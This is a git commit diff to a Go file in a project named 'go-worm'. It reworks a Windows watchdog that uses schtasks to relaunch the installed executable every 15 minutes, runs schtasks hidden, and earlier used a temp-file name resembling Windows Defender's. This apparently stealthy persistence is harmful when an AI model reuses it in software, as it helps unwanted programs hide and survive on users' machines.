feat(watchdog): separate watchdog from startup

- Add /api/v1/watchdog to enable/disable
- Scheduled task now runs every 15 minutes
- Use schtasks command line instead of XML
- Dashboard shows watchdog enabled state
- Preserve watchdog state during install

lib/startup/watchdog.go

@@ -4,41 +4,61 @@ package startup
 
 import (
 	"fmt"
-	"os"
 	"os/exec"
 	"strings"
-	"unicode/utf16"
 
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
 	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 )
 
-func enableWatchdog() error {
+func WatchdogEnabled() bool {
+	return taskExists(config.WatchdogTaskName) || taskExists(config.WatchdogTaskNameLegacy)
+}
+
+func EnableWatchdog() error {
 	exe, err := config.InstalledExe()
 	if err != nil {
 		return err
 	}
-	tmp, err := os.CreateTemp("", "win64_mp-task-*.xml")
-	if err != nil {
+	if err := runSchtasksCmdLine(schtasksCreateCmdLine(config.WatchdogTaskName, ensureTaskTR(exe))); err != nil {
 		return err
 	}
-	path := tmp.Name()
-	defer os.Remove(path)
-	if err := tmp.Close(); err != nil {
-		return err
-	}
-	if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil {
-		return err
-	}
-	return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F")
+	_ = runSchtasks("/Delete", "/TN", config.WatchdogTaskNameLegacy, "/F")
+	return nil
 }
 
-func disableWatchdog() error {
-	err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F")
-	if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") {
-		return nil
+func DisableWatchdog() error {
+	var first error
+	for _, name := range []string{config.WatchdogTaskName, config.WatchdogTaskNameLegacy} {
+		err := runSchtasks("/Delete", "/TN", name, "/F")
+		if err == nil || taskNotFound(err) {
+			continue
+		}
+		if first == nil {
+			first = err
+		}
 	}
-	return err
+	return first
+}
+
+func taskExists(name string) bool {
+	return runSchtasks("/Query", "/TN", name) == nil
+}
+
+func runSchtasksCmdLine(cmdLine string) error {
+	cmd := exec.Command("schtasks")
+	attr := helpers.HiddenSysProcAttr()
+	attr.CmdLine = cmdLine
+	cmd.SysProcAttr = attr
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		msg := strings.TrimSpace(string(out))
+		if msg == "" {
+			msg = err.Error()
+		}
+		return fmt.Errorf("schtasks: %s", msg)
+	}
+	return nil
 }
 
 func runSchtasks(args ...string) error {
@@ -55,12 +75,6 @@ func runSchtasks(args ...string) error {
 	return nil
 }
 
-func utf16LE(s string) []byte {
-	u := utf16.Encode([]rune(s))
-	out := make([]byte, 0, 2+len(u)*2)
-	out = append(out, 0xFF, 0xFE)
-	for _, r := range u {
-		out = append(out, byte(r), byte(r>>8))
-	}
-	return out
+func taskNotFound(err error) bool {
+	return strings.Contains(strings.ToLower(err.Error()), "cannot find")
 }